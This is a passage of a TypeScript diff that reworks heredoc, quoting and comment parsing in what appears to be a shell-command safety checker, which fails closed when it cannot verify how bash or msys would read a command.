+		outcome.error = errorAt("nul-byte", nulIndex)
+		return outcome
+	}
+
+	const endOfLine = (from: number): number => {
+		let j = from
+		while (j < text.length && text[j] !== "\n" && text[j] !== "\r") {
+			j++
 		}
+		return j
+	}
 
-		if (char === "#" && (i === 0 || /\s/.test(command[i - 1]))) {
-			// Comment: skip to end of line. Quotes inside are not shell quoting.
-			while (i < command.length && command[i] !== "\n" && command[i] !== "\r") {
-				i++
+	/** Open the quoted region starting at `i`, or return null if none. */
+	const openQuote = (i: number): RegionFrame | null => {
+		if (text[i] === "$" && text[i + 1] === "'") {
+			return {
+				kind: "ansi-c",
+				openIndex: i,
+				closer: "'",
+				contentStart: i + 2,
+				escaped: true,
+				groupDepth: 0,
+				payloads: null,
+			}
+		}
+		if (text[i] === "$" && text[i + 1] === '"') {
+			return {
+				kind: "locale",
+				openIndex: i,
+				closer: '"',
+				contentStart: i + 2,
+				escaped: true,
+				groupDepth: 0,
+				payloads: null,
+			}
+		}
+		if (text[i] === "'") {
+			return {
+				kind: "posix-single",
+				openIndex: i,
+				closer: "'",
+				contentStart: i + 1,
+				escaped: false,
+				groupDepth: 0,
+				payloads: null,
 			}
-			continue
 		}
+		if (text[i] === '"') {
+			return {
+				kind: "double",
+				openIndex: i,
+				closer: '"',
+				contentStart: i + 1,
+				escaped: true,
+				groupDepth: 0,
+				payloads: null,
+			}
+		}
+		return null
+	}
 
-		// Herestring (<<<): single-line stdin redirect -- no body or terminator.
-		if (char === "<" && command[i + 1] === "<" && command[i + 2] === "<") {
-			i += 3
-			continue
+	/**
+	 * Return the innermost parameter-expansion frame on `frames`, if any.
+	 * `paramOpen` is the caller's count of open parameter-expansion frames.
+	 * When it is 0, this function returns without walking the stack. Deep
+	 * non-expansion nesting then pays no stack scan per frame close.
+	 */
+	const innermostParam = (frames: RegionFrame[], paramOpen: number): RegionFrame | undefined => {
+		if (paramOpen === 0) {
+			return undefined
 		}
+		for (let f = frames.length - 1; f >= 0; f--) {
+			if (frames[f].kind === "parameter-expansion") {
+				return frames[f]
+			}
+		}
+		return undefined
+	}
 
-		// Heredoc opener: <<[-]? followed by an optional-quoted delimiter word.
-		if (char === "<" && command[i + 1] === "<") {
-			const start = i
-			i += 2 // skip <<
-			const stripTabs = command[i] === "-"
-			if (stripTabs) i++
-			// Skip horizontal whitespace between << and the delimiter word.
-			while (i < command.length && (command[i] === " " || command[i] === "\t")) {
+	/**
+	 * Consume an entire heredoc at `i`: the opener line, the body, and the
+	 * terminator. Heredoc redirects chained on the opener line each get a
+	 * body: bash reads those bodies sequentially from the input stream, so
+	 * each chained body starts on the line after the previous construct's
+	 * terminator and runs to its own. The redirect operator and delimiter word
+	 * through the last terminator mask to one host word; the opener-line
+	 * remainder after the delimiter word stays live host text. Return the
+	 * index just past the last terminator text. Return an error when the outer
+	 * heredoc or any chained body is unterminated, or for an unbalanced
+	 * delimiter inside an expansion-active body.
+	 */
+	const skipHeredoc = (i: number, frames: RegionFrame[]): { end: number } | { error: UnterminatedQuote } => {
+		const start = i
+		i += 2 // consume <<
+		const stripTabs = text[i] === "-"
+		if (stripTabs) {
+			i++
+		}
+		while (i < text.length && (text[i] === " " || text[i] === "\t")) {
+			i++
+		}
+		const { delimiter, endIndex, quoted, wordPresent, malformed } = parseHeredocDelimiter(text, i)
+		if (malformed) {
+			// The walk cannot determine the terminator: the word reached end
+			// of input with a quote region still open, so bash reads a
+			// multi-line word that can never match a body line, or it contains
+			// an unquoted ANSI-C/locale quoting occurrence whose quote removal
+			// the walk does not reproduce, so bash closes the heredoc at a
+			// line this walk never derives. Either way the body and everything
+			// after it are unaccountable, so fail closed.
+			return { error: errorAt("heredoc", start) }
+		}
+		if (!wordPresent && endIndex < text.length && text[endIndex] !== "\n" && text[endIndex] !== "\r") {
+			// The blank-skipping loop consumed every blank, so an unclaimed
+			// character here is a metacharacter: bash reads it as an operator
+			// token where the delimiter word belongs, and rejects the whole
+			// command before executing anything. The no-word mask below is the
+			// policy for `<<` plus blanks only; this shape fails closed.
+			return { error: errorAt("heredoc", start) }
+		}
+		const payloads: string[] = []
+		// Chained heredoc openers found on the opener line, in scan order.
+		// bash reads their bodies sequentially from the input stream, so the
+		// terminator search for each one starts after the previous construct's
+		// terminator line. The scan resolves them after the outer body search.
+		const chainOpeners: number[] = []
+		// The live opener-line remainder's host text, buffered by
+		// `emitRemainder`. The scan emits it right after the H placeholder once
+		// the chain is resolved.
+		let remainderHost = ""
+		// This is the only place a heredoc mask is emitted. Every non-error
+		// outcome of skipHeredoc returns through here, so every masked span
+		// carries the same check. A CR byte anywhere in the construct from the
+		// opener through the terminator leaves the two read layers reading
+		// different bytes. msys strips each CR before parsing, and POSIX keeps
+		// it as ordinary content. A close that one layer sees may not be the
+		// close the other sees. A close that only one layer sees would hand
+		// that model's remainder back to the scanner as live syntax. The parser
+		// cannot verify that both layers close the construct the same way. The
+		// heredoc fails closed instead of picking a model. The check spans the
+		// whole construct, opener-line remainder and every chained body
+		// included, even though the remainder masks out below. A uniformly-CRLF
+		// construct whose layers happen to agree is over-rejected. That is the
+		// accepted cost.
+		/**
+		 * Append the opener-line remainder `[from, to)` to the construct's
+		 * buffered host text. These bytes are live syntax that the outer scan
+		 * loop never revisits, so the walk applies that loop's live-text policy
+		 * here: a mid-word `#`
+		 * becomes an opaque placeholder (the tokenizer would otherwise start a
+		 * comment there and drop the rest of the line, hiding live commands), a
+		 * word-initial `#` passes through as the comment bash sees, a `#`
+		 * directly after the closer of an expansion or process substitution
+		 * continues the word and takes the placeholder, and a backslash escape
+		 * pair stays verbatim. Quote characters pass through too; the walk only
+		 * tracks the regions so a quoted `#` stays literal. A top-level `${…}`
+		 * region is the exception: the tokenizer throws on expansion bytes it
+		 * cannot expand, so the region's bytes are diverted out of the host and
+		 * the host carries the region's `P` placeholder instead, the same
+		 * masking the main loop applies to parameter expansions.
+		 *
+		 * A word-start `<<` in the remainder is another heredoc redirect on the
+		 * same line. The walk records it as a chained opener; the caller
+		 * searches its body after the outer body, because bash reads chained
+		 * bodies sequentially from the input stream, each starting after the
+		 * previous construct's terminator line. The opener bytes pass into the
+		 * host text as ordinary word bytes; the single H placeholder spans the
+		 * whole chain. Without the collection the chained body lines would be
+		 * re-scanned as live text, and bash's body-expanded bytes would hide
+		 * from the decomposition.
+		 *
+		 * Returns null when the walk completes, and the error of a chain that
+		 * exceeds the generated-input cap.
+		 */
+		const emitRemainder = (from: number, to: number): UnterminatedQuote | null => {
+			let i = from
+			// Index just past the most recent `\c` escape pair, or -1. The
+			// escaped character is word content to the shell, so a `#` directly
+			// after the pair continues the word.
+			let escapedEnd = -1
+			let quote: "'" | '"' | null = null
+			// Whether the open `quote` region was opened by `$'`, whose body
+			// escapes the next byte even when the quote byte is `'`.
+			let escapedQuote = false
+			// Mirrors the scan loop's expansion state: the closers this walk
+			// must balance before a top-level region ends, and the index just
+			// past the most recent top-level region closer. The shell ends the
+			// region at its closer but not the surrounding word, so a `#`
+			// directly at that index is word content, never a comment start.
+			// An unclosed region cannot reach this walk: `walkBodyPayloads`
+			// has already balance-checked the remainder and fails the heredoc
+			// closed on a region left open.
+			const frames: RemainderFrame[] = []
+			let closerEnd = -1
+			// Index of the `$` of the open top-level `${` region, or -1. Raw
+			// `${` bytes make the tokenizer throw (`Bad substitution`), which
+			// hands the caller a tokenizer rejection instead of a decomposition
+			// that silently drops the substitutions the expansion closed, like
+			// `$(zap x)` inside `${x:-$(zap x)}`. While this region is open its
+			// bytes stay out of the host; the matching `}` turns the region's raw
+			// text into a `P` placeholder. The region's inner substitutions are
+			// already in `payloads` through the `walkBodyPayloads` pre-walk.
+			let maskedStart = -1
+			// Whether the `<<` at `at` is followed by a delimiter word before
+			// end of line. The no-word opener's mask-through-end-of-input
+			// policy is sound at end of command, where bash's syntax error
+			// guarantees nothing executes. Mid-line it is not: bash reads the
+			// delimiter word from a later line, expanding it there, so a no-word
+			// chain opener mid-line would mask executed bytes unscanned. Such
+			// openers stay with the byte-wise walk and the outer body scan.
+			const chainHasWord = (at: number): boolean => {
+				let k = at + 2
+				if (text[k] === "-") {
+					k++
+				}
+				while (text[k] === " " || text[k] === "\t") {
+					k++
+				}
+				return k < text.length && !" \t\n\r|&;()<>".includes(text[k])
+			}
+			while (i < to) {
+				const char = text[i]
+				if (char === "\\" && (quote !== "'" || escapedQuote)) {
+					// Inside plain single quotes a backslash is literal, so only
+					// an unquoted, double-quoted, or ANSI-C-quoted backslash
+					// pairs with the next character.
+					if (maskedStart === -1) {
+						remainderHost += text.slice(i, i + 2)
+					}
+					escapedEnd = i + 2
+					i += 2
+					continue
+				}
+				if (char === "$" && quote === null && text[i + 1] === "'") {
+					// Track the ANSI-C region so its escaped `\'` cannot end the
+					// region early: an early close re-reads region bytes as live
+					// syntax, and the reversed pairing reads the word's live tail
+					// as quoted, hiding it from the chained-opener test below.
+					quote = "'"
+					escapedQuote = true
+					if (maskedStart === -1) {
+						remainderHost += "$'"
+					}
+					i += 2
+					continue
+				}
+				if (char === "'" || char === '"') {
+					if (quote === null) {
+						quote = char
+					} else if (quote === char) {
+						quote = null
+						escapedQuote = false
+					}
+					if (maskedStart === -1) {
+						remainderHost += char
+					}
+					i++
+					continue
+				}
+				if (quote === null) {
+					const top = frames[frames.length - 1]
+					if (top?.backtick) {
+						// A backtick region is opaque except for its closer:
+						// backticks do not nest and the shell re-scans nothing
+						// inside that would rebalance it.
+						if (char === "`") {
+							frames.pop()
+							if (frames.length === 0) {
+								closerEnd = i + 1
+							}
+						}
+						if (maskedStart === -1) {
+							remainderHost += char
+						}
+						i++
+						continue
+					}
+					if (top && char === top.closer) {
+						if (top.groupDepth > 0) {
+							// This closer matches an inner grouping paren, not
+							// the region's own opener.
+							top.groupDepth--
+							if (maskedStart === -1) {
+								remainderHost += char
+							}
+						} else {
+							frames.pop()
+							if (maskedStart !== -1 && frames.length === 0) {
+								const id = outcome.params.push(text.slice(maskedStart, i + 1)) - 1
+								remainderHost += mark(`P${id}`)
+								maskedStart = -1
+							} else {
+								if (frames.length === 0) {
+									closerEnd = i + 1
+								}
+								if (maskedStart === -1) {
+									remainderHost += char
+								}
+							}
+						}
+						i++
+						continue
+					}
+					if (top?.closer === ")" && char === "(") {
+						// A bare `(` inside a `)`-closing region opens a group
+						// the shell balances before the region's closer, so the
+						// group's `)` cannot end the region. `(`/`)` inside a
+						// `}`- or `]`-closing region stay literal.
+						top.groupDepth++
+						if (maskedStart === -1) {
+							remainderHost += char
+						}
+						i++
+						continue
+					}
+					if (char === "$" && (text[i + 1] === "(" || text[i + 1] === "{" || text[i + 1] === "[")) {
+						// A `$((` region starts with one inner group pending, so
+						// it closes past its second `)`, like the loop's
+						// arithmetic end.
+						// Stryker disable next-line StringLiteral: either literal's erasure only leaves `doubleArith` false, and the walk re-counts the second `(` as an ordinary group paren at the same depth, so no reachable remainder emits different host bytes or splits.
+						const doubleArith = text[i + 1] === "(" && text[i + 2] === "("
+						const closer = text[i + 1] === "(" ? ")" : text[i + 1] === "[" ? "]" : "}"
+						frames.push({ closer, groupDepth: doubleArith ? 1 : 0, backtick: false })
+						if (closer === "}" && frames.length === 1) {
+							maskedStart = i
+						} else if (maskedStart === -1) {
+							remainderHost += char
+							remainderHost += text[i + 1]
+							if (doubleArith) {
+								remainderHost += text[i + 2]
+							}
+						}
+						i += doubleArith ? 3 : 2
+						continue
+					}
+					if (char === "`") {
+						frames.push({ closer: "`", groupDepth: 0, backtick: true })
+						if (maskedStart === -1) {
+							remainderHost += char
+						}
+						i++
+						continue
+					}
+					if ((char === "<" || char === ">") && text[i + 1] === "(") {
+						frames.push({ closer: ")", groupDepth: 0, backtick: false })
+						if (maskedStart === -1) {
+							remainderHost += `${char}(`
+						}
+						i += 2
+						continue
+					}
+					if (char === "<" && text[i + 1] === "<" && text[i + 2] === "<") {
+						// A herestring (<<<) is one operator, never a heredoc
+						// opener: consume all three bytes so the scan never
+						// re-reads the operator's second `<` at a shifted
+						// position, where the first byte no longer marks a
+						// herestring. The main loop's herestring branches
+						// apply the same rule at their levels.
+						if (maskedStart === -1) {
+							remainderHost += "<<<"
+						}
+						i += 3
+						continue
+					}
+					// A second heredoc redirect on the opener line, under the
+					// main scan's own guards: the `<<<` herestring is consumed
+					// above, and the empty-frames test stands in for the
+					// parameter-expansion frame-kind exclusion (there bash
+					// reads `<<` as shift or word text). Record the opener;
+					// the caller searches its body after the outer body,
+					// because bash reads chained bodies sequentially from the
+					// input stream. The `<<` token bytes pass into the host
+					// text; the delimiter word follows them through the walk
+					// as ordinary word text.
+					if (char === "<" && text[i + 1] === "<" && frames.length === 0 && chainHasWord(i)) {
+						// Beyond the scan's existing generated-input cap the
+						// chain fails closed, like every other unbounded-work
+						// guard in this file: no hand-written command chains
+						// that many heredocs on one line.
+						if (chainOpeners.length >= MAX_PAYLOAD_SCAN_DEPTH) {
+							return errorAt("heredoc", i)
+						}
+						chainOpeners.push(i)
+						const dash = text[i + 2] === "-"
+						if (maskedStart === -1) {
+							remainderHost += dash ? "<<-" : "<<"
+						}
+						i += dash ? 3 : 2
+						continue
+					}
+				}
+				if (char === "#" && quote === null) {
+					if (maskedStart !== -1) {
+						// A `#` inside the masked expansion region is region
+						// text, like the length operator in `${#var}`. It
+						// travels with the placeholder, never as a comment.
+						i++
+						continue
+					}
+					if (i === closerEnd) {
+						// A `#` directly after a region closer continues the
+						// word: the shell ends the region at its closer but not
+						// the word, and starts a comment only at a word start.
+						// The placeholder keeps the rest of the line
+						// tokenizable, as the mid-word case below does.
+						const id = outcome.variables.push("#") - 1
+						remainderHost += mark(`V${id}`)
+						i++
+						continue
+					}
+					const wordStart = i === from || IFS_BLANK.test(text[i - 1]) || /[;&()|<>]/.test(text[i - 1])
+					if (wordStart && i !== escapedEnd) {
+						// A comment starts only at a word start. The tokenizer
+						// and bash agree here: both drop the text from the `#`
+						// to end of line.
+						remainderHost += text.slice(i, to)
+						return null
+					}
+					// Mid-word `#`: an ordinary character to the shell, a
+					// comment start to the tokenizer. Mask it to an opaque
+					// placeholder so the rest of the line survives tokenization.
+					const id = outcome.variables.push("#") - 1
+					remainderHost += mark(`V${id}`)
+					i++
+					continue
+				}
+				if (maskedStart === -1) {
+					remainderHost += char
+				}
 				i++
 			}
-			const { delimiter, endIndex } = parseHeredocDelimiter(command, i)
-			i = endIndex
-			// Advance past the remainder of the opener line.
-			while (i < command.length && command[i] !== "\n") i++
-			if (i < command.length) i++ // consume newline
-			if (delimiter.length > 0) {
-				let found = false
-				while (i < command.length) {
+			return null
+		}
+		/**
+		 * Search for a heredoc terminator line in `[from, text.length)`. The
+		 * search emulates the shell's read layer. A line runs to LF, or to end
+		 * of input. POSIX bash keeps every CR as ordinary content. The
+		 * msys/Cygwin read layer strips every CR before parsing. That layer is
+		 * the reference shell on the Windows target. `EO<CR>F` therefore
+		 * arrives as the terminator `EOF` and closes the heredoc early there.
+		 * The strip also reaches the delimiter word. After a CRLF opener line,
+		 * POSIX reads the delimiter `EOF<CR>` where msys reads `EOF`. A CR from
+		 * the opener line through the closing terminator line leaves the two
+		 * layers reading different bytes. The close then cannot be verified in
+		 * a model-independent way. The mask-emission guard tests every masked
+		 * span against the construct's region, so such heredocs fail closed for
+		 * review. This over-rejects even a uniformly-CRLF construct whose
+		 * models happen to agree. That is the accepted cost. A CR-free region
+		 * is byte-identical under both models, so it parses. bash joins a
+		 * backslash-newline pair before it matches the delimiter. An unquoted
+		 * logical line whose stripped content ends in an odd number of
+		 * backslashes therefore flows into the next physical line. A quoted
+		 * delimiter makes the backslash literal, so no joining happens. The CR
+		 * strip happens in the read layer and quoting does not affect it. `<<-`
+		 * strips leading tabs from the fully joined line afterwards. It never
+		 * strips from a physical line on its own. Return the body span
+		 * `[bodyStart, bodyEnd)` and `rawIndex`: the index of the line-ending
+		 * byte of the terminator line, or end of input when the terminator is
+		 * the final line. Return null when no terminator line appears.
+		 */
+		const findTerminator = (
+			from: number,
+			delim: string,
+			isQuoted: boolean,
+			strip: boolean,
+		): { rawIndex: number; bodyStart: number; bodyEnd: number } | null => {
+			const bodyStart = from
+			let i = from
+			while (i < text.length) {
+				const groupStart = i
+				let candidate = ""
+				for (;;) {
 					const lineStart = i
-					while (i < command.length && command[i] !== "\n" && command[i] !== "\r") {
+					while (i < text.length && text[i] !== "\n") {
 						i++
 					}
-					// Strip leading tabs only for <<- heredocs.
-					const rawLine = command.slice(lineStart, i)
-					const line = stripTabs ? rawLine.replace(/^\t*/, "") : rawLine
-					// Do NOT advance past the terminator's newline -- leave it as a
-					// separator for any command that follows the heredoc.
-					if (line === delimiter) {
-						found = true
-						break
+					const logicalLine = text.slice(lineStart, i).replace(/\r/g, "")
+					const trailingBackslashes = logicalLine.match(/\\*$/)?.[0].length ?? 0
+					if (!isQuoted && text[i] === "\n" && trailingBackslashes % 2 === 1) {
+						candidate += logicalLine.slice(0, -1) // drop the continuation backslash
+						i++ // consume the newline of the continued line
+						continue
+					}
+					candidate += logicalLine
+					// `<<-` strips leading tabs from the fully joined logical
+					// line. The strip runs after continuation joining, and only
+					// once. A tab that opens a continuation line stays inside
+					// the candidate. An early-terminator match therefore cannot
+					// hide live commands.
+					const candidateText = strip ? candidate.replace(/^\t+/, "") : candidate
+					if (candidateText === delim) {
+						return { rawIndex: i, bodyStart, bodyEnd: groupStart }
+					}
+					break
+				}
+				if (i < text.length) {
+					i++ // consume the newline of a body line
+				}
+			}
+			return null
+		}
+		// Emit the single H placeholder spanning `start` through `finalEnd` —
+		// the last terminator of the chain — and append the live opener-line
+		// remainder that `emitRemainder` buffered. `endIndex` is the index just
+		// past the outer delimiter word, so the masked region skips the opener-
+		// line remainder exactly once no matter how long the chain is. A no-word
+		// opener masks through end of input instead; the metacharacter guard
+		// above fails a no-word opener whose break was metacharacter-caused
+		// closed before any mask is emitted, so the openers reaching this mask
+		// are `<<` plus blanks: their line remainder is nothing but those
+		// blanks.
+		const emitMask = (finalEnd: number): { end: number } | { error: UnterminatedQuote } => {
+			const fullSpan = text.slice(start, finalEnd)
+			if (fullSpan.includes("\r")) {
+				return { error: errorAt("heredoc", start) }
+			}
+			const region = wordPresent ? text.slice(start, endIndex) + text.slice(remainderEnd, finalEnd) : fullSpan
+			const id = outcome.heredocs.push(region) - 1
+			outcome.heredocPayloads[id] = payloads
+			// Inside an expansion region, the host is masked wholesale anyway.
+			// Only top-level heredocs need a placeholder in the host text. The
+			// emission appends the opener-line remainder as live host text; the
+			// split at chain operators happens later, when `parseLine`
+			// tokenizes. Inside a frame, the payload re-scan runs this emission
+			// at top level.
+			if (frames.length === 0) {
+				outcome.host += mark(`H${id}`)
+				if (wordPresent) {
+					outcome.host += remainderHost
+				}
+			}
+			return { end: finalEnd }
+		}
+		// The shell expands the opener line's remainder after the delimiter,
+		// even when the delimiter is quoted. Quoting suppresses expansion in
+		// the body only. Walk the remainder unconditionally. An error there
+		// fails the whole heredoc closed, like a body error does.
+		const remainderEnd = endOfLine(endIndex)
+		// bash discards a word-start `#` comment before tokenizing, so nothing
+		// after that `#` on the opener line is live syntax. The backslash and
+		// quote guards and the payload walk below read the remainder prefix
+		// through this index; reading the discarded comment bytes would refuse
+		// openers bash runs. The word-start and escape tests mirror the
+		// comment branch of the live-text scan; the quoting rules match
+		// `quoteStateAt` below. The mask region and the line-termination check
+		// keep the physical `remainderEnd`.
+		const commentOnset = (): number => {
+			let j = endIndex
+			let quote: "'" | '"' | null = null
+			// Whether the open `quote` region was opened by `$'` or `$"`. Inside
+			// such a region a backslash escapes the next byte, unlike inside a
+			// plain single-quoted region where it is literal.
+			let escapedQuote = false
+			// Index just past the most recent `\c` escape pair, or -1. The
+			// escaped character is word content to the shell, so a `#` directly
+			// after the pair continues the word and cannot start a comment.
+			// Stryker disable next-line NumberLiteral: the operator's replacements for this -1 sentinel are 0 and 1, and every `j` compared against it starts at or past the index after a `<<` (>= 2), so no replacement can block a different `#`.
+			let escapedEnd = -1
+			// Mirrors the remainder walk's expansion state: the closers this
+			// scan must balance, and the index just past the most recent region
+			// closer that emptied the frames. The shell ends a region at its
+			// closer but not the surrounding word, so a `#` directly at that
+			// index continues the word instead of starting a comment. A `)`
+			// that closes no region (`case` pattern terminator, subshell group)
+			// pops nothing and leaves the index untouched, so a `#` glued after
+			// it still starts a comment.
+			const frames: RemainderFrame[] = []
+			// Stryker disable next-line NumberLiteral,UnaryOperator: the replacements for this -1 sentinel (0, 1, and +1) can never equal a `j`, which starts at or past the index after a `<<` (>= 2) and only advances past bytes this index gets assigned from.
+			let closerEnd = -1
+			while (j < remainderEnd) {
+				const char = text[j]
+				if (char === "\\" && (quote !== "'" || escapedQuote)) {
+					escapedEnd = j + 2
+					j += 2
+					continue
+				}
+				if (quote === null) {
+					const top = frames[frames.length - 1]
+					if (top?.backtick) {
+						// A backtick region is opaque except for its closer:
+						// backticks do not nest, so nothing inside one opens a
+						// frame that could take the closer's index.
+						if (char === "`") {
+							frames.pop()
+							// Stryker disable next-line ConditionalExpression,EqualityOperator,BlockStatement: only a `#` glued after the backtick reads this index, and a backtick is neither blank nor metacharacter, so it never starts a word and no reachable input changes the scan's return.
+							if (frames.length === 0) {
+								// Stryker disable next-line ArithmeticOperator: `j - 1` marks a byte the scan has already passed -- the only byte it can block sits behind the moving index, so no reachable remainder returns a different onset.
+								closerEnd = j + 1
+							}
+						}
+						j++
+						continue
+					}
+					if (top && char === top.closer) {
+						if (top.groupDepth > 0) {
+							// This closer matches an inner grouping paren, not
+							// the region's own opener.
+							top.groupDepth--
+						} else {
+							frames.pop()
+							if (frames.length === 0) {
+								closerEnd = j + 1
+							}
+						}
+						j++
+						continue
+					}
+					if (top?.closer === ")" && char === "(") {
+						// A bare `(` inside a `)`-closing region opens a group
+						// the shell balances before the region's closer, so the
+						// group's `)` cannot end the region.
+						top.groupDepth++
+						j++
+						continue
+					}
+					if (char === "$" && (text[j + 1] === "'" || text[j + 1] === '"')) {
+						// ANSI-C and locale quoting open an escaped region that
+						// runs to the first unescaped copy of the quote byte,
+						// like `openQuote`'s `ansi-c` and `locale` kinds. Pairing
+						// raw quote bytes instead lets an escaped `\'` end the
+						// region early and re-reads the word's live tail.
+						const quoteByte: "'" | '"' = text[j + 1] === "'" ? "'" : '"'
+						quote = quoteByte
+						escapedQuote = true
+						j += 2
+						continue
+					}
+					if (char === "$" && (text[j + 1] === "(" || text[j + 1] === "{" || text[j + 1] === "[")) {
+						// A `$((` region starts with one inner group pending,
+						// so it closes past its second `)`.
+						// Stryker disable next-line StringLiteral,ConditionalExpression: every reading that leaves `doubleArith` false re-counts the second `(` as an ordinary group paren at the same index and depth, so no reachable remainder moves the closer index.
+						const doubleArith = text[j + 1] === "(" && text[j + 2] === "("
+						const closer = text[j + 1] === "(" ? ")" : text[j + 1] === "[" ? "]" : "}"
+						frames.push({ closer, groupDepth: doubleArith ? 1 : 0, backtick: false })
+						j += doubleArith ? 3 : 2
+						continue
+					}
+					if (char === "`") {
+						// Stryker disable next-line StringLiteral: the frames stack consumes a backtick frame through the `backtick` flag's opaque branch, which matches the closer byte directly and never reads this string, so erasing it changes no pop.
+						frames.push({ closer: "`", groupDepth: 0, backtick: true })
+						j++
+						continue
+					}
+					if ((char === "<" || char === ">") && text[j + 1] === "(") {
+						frames.push({ closer: ")", groupDepth: 0, backtick: false })
+						j += 2
+						continue
+					}
+					if (char === "#" && j !== escapedEnd) {
+						// The word-start rule mirrors the live-text scan's
+						// comment branch: after a blank or a metacharacter, or
+						// at the very start of the remainder, and never
+						// directly at a region closer, where the shell ends
+						// the region without ending the word.
+						if (
+							j !== closerEnd &&
+							// Stryker disable next-line ConditionalExpression: the delimiter word absorbs `#`, so the remainder never starts with one; the disjunct's false replacement cannot move an onset, and the line's other condition readings stay pinned by parse-command.spec.ts's onset rows.
+							(j === endIndex || IFS_BLANK.test(text[j - 1]) || /[;&()|<>]/.test(text[j - 1]))
+						) {
+							return j
+						}
+					} else if (char === "'" || char === '"') {
+						quote = char
 					}
-					if (i < command.length) i++ // consume newline of a body line
+				} else if (char === quote) {
+					quote = null
+					escapedQuote = false
 				}
-				if (!found) {
-					return {
-						spans,
-						unterminatedQuote: {
-							quoteType: "heredoc",
-							openIndex: start,
-							message: unterminatedQuoteMessage("heredoc", start, command),
-						},
+				j++
+			}
+			return remainderEnd
+		}
+		const liveRemainderEnd = commentOnset()
+		// The quote state of the remainder `[from, to)`, with the same semantics
+		// the remainder walk applies: outside single quotes a backslash pairs
+		// with the next character, a region opened by `$'` or `$"` is escaped so
+		// its backslash pairs even under the `'` quote byte, and only a matching
+		// quote character closes an open region.
+		const quoteStateAt = (from: number, to: number): "'" | '"' | null => {
+			let quote: "'" | '"' | null = null
+			let escapedQuote = false
+			let j = from
+			while (j < to) {
+				const char = text[j]
+				if (char === "\\" && (quote !== "'" || escapedQuote)) {
+					j += 2
+					continue
+				}
+				if (quote === null) {
+					if (char === "$" && (text[j + 1] === "'" || text[j + 1] === '"')) {
+						const quoteByte: "'" | '"' = text[j + 1] === "'" ? "'" : '"'
+						quote = quoteByte
+						escapedQuote = true
+						j += 2
+						continue
 					}
+					if (char === "'" || char === '"') {
+						quote = char
+					}
+				} else if (char === quote) {
+					quote = null
+					escapedQuote = false
 				}
+				j++
 			}
-			spans.push({ start, end: i, quoteType: "heredoc" })
-			continue
+			return quote
+		}
+		if (wordPresent) {
+			// bash joins a backslash-newline pair before tokenizing, even inside
+			// double quotes. An odd unquoted backslash run at the end of the live
+			// remainder therefore joins the rest of the opener line's syntax onto
+			// the first body line, while the remainder cut here stops blindly at
+			// that newline. The remainder cannot account for the joined bytes, so
+			// the heredoc fails closed. Inside single quotes a backslash is
+			// literal and no joining happens, so the guard stays silent there.
+			let backslashRun = 0
+			while (
+				liveRemainderEnd - 1 - backslashRun >= endIndex &&
+				text[liveRemainderEnd - 1 - backslashRun] === "\\"
+			) {
+				backslashRun++
+			}
+			if (backslashRun % 2 === 1 && quoteStateAt(endIndex, liveRemainderEnd - backslashRun) !== "'") {
+				return { error: errorAt("heredoc", start) }
+			}
+			// bash carries a quote opened on the opener line across the newline.
+			// When that quote closes on a later line, the bytes after its closer
+			// are live syntax on a line this cut already masks as body, hidden
+			// from the decomposition, so the heredoc fails closed. The cut test
+			// is the next same-kind quote byte after the remainder; reading an
+			// escaped closer as a close only over-rejects. A quote that never
+			// closes again is bash's own syntax error: bash reads one unterminated
+			// word and executes nothing, so those openers stay acceptable.
+			const residualQuote = quoteStateAt(endIndex, liveRemainderEnd)
+			if (residualQuote !== null && text.indexOf(residualQuote, remainderEnd) !== -1) {
+				return { error: errorAt("heredoc", start) }
+			}
+		}
+		const remainderError = walkBodyPayloads(endIndex, liveRemainderEnd, payloads, 0, true)
+		if (remainderError) {
+			return { error: remainderError }
 		}
+		// The opener line must end at LF so that the body starts on the next
+		// line. A CR is valid only as the CR of a CRLF pair. A lone CR is not a
+		// bash line terminator. Accepting one as the opener's end would
+		// validate CR-separated input that the shell refuses as an unterminated
+		// heredoc.
+		i = remainderEnd
+		if (text[i] === "\r") {
+			i++
+		}
+		if (text[i] !== "\n") {
+			return { error: errorAt("heredoc", start) }
+		}
+		i++
+		if (wordPresent) {
+			// Collect the chained openers on the opener line and buffer the
+			// live remainder's host bytes. The bytes after a word-start `#`
+			// stay uncollected: bash discards that comment before tokenizing,
+			// so a `<<` inside it never opens a redirect.
+			const remainderWalkError = emitRemainder(endIndex, remainderEnd)
+			if (remainderWalkError) {
+				return { error: remainderWalkError }
+			}
+			const outer = findTerminator(i, delimiter, quoted, stripTabs)
+			if (!outer) {
+				// The body never ends. Nothing after the opener can be trusted.
+				return { error: errorAt("heredoc", start) }
+			}
+			if (!quoted) {
+				const bodyError = walkBodyPayloads(outer.bodyStart, outer.bodyEnd, payloads, 0)
+				if (bodyError) {
+					return { error: bodyError }
+				}
+			}
+			// bash reads a chained redirect's body from the input stream right
+			// after the previous construct's terminator line, so each search
+			// starts just past the previous terminator's line ending. A chained
+			// body that never reaches its terminator is unaccountable: bash
+			// keeps reading to end of input and expands every byte there, while
+			// the main scan would read the leftover lines under its live-text
+			// rules, where a `#` line hides commands bash executes. The whole
+			// construct fails closed instead.
+			let finalEnd = outer.rawIndex
+			let searchStart = outer.rawIndex < text.length ? outer.rawIndex + 1 : outer.rawIndex
+			for (const opener of chainOpeners) {
+				let k = opener + 2
+				const chainStrip = text[k] === "-"
+				if (chainStrip) {
+					k++
+				}
+				while (text[k] === " " || text[k] === "\t") {
+					k++
+				}
+				const chain = parseHeredocDelimiter(text, k)
+				if (chain.malformed) {
+					// The walk cannot determine this chained delimiter's
+					// terminator: an open quote region at end of input, or an
+					// unquoted ANSI-C/locale quoting occurrence whose quote
+					// removal the walk does not reproduce, so bash closes the
+					// heredoc at a line this walk never derives. The body is
+					// unaccountable, so fail closed.
+					return { error: errorAt("heredoc", opener) }
+				}
+				const chainBody = findTerminator(searchStart, chain.delimiter, chain.quoted, chainStrip)
+				if (!chainBody) {
+					return { error: errorAt("heredoc", start) }
+				}
+				if (!chain.quoted) {
+					const chainBodyError = walkBodyPayloads(chainBody.bodyStart, chainBody.bodyEnd, payloads, 0)
+					if (chainBodyError) {
+						return { error: chainBodyError }
+					}
+				}
+				finalEnd = chainBody.rawIndex
+				searchStart = chainBody.rawIndex < text.length ? chainBody.rawIndex + 1 : chainBody.rawIndex
+			}
+			// Inside an expansion no H placeholder is emitted, but the
+			// enclosing frame's close hands its whole text to the expansion's
+			// payload list, and re-scanning that text re-enters this heredoc
+			// and collects these payloads there. Pushing them here as well
+			// would emit each one twice.
+			return emitMask(finalEnd)
+		}
+		// No delimiter token appeared, and the break was not metacharacter-caused
+		// -- the metacharacter guard above already fails those shapes closed: a
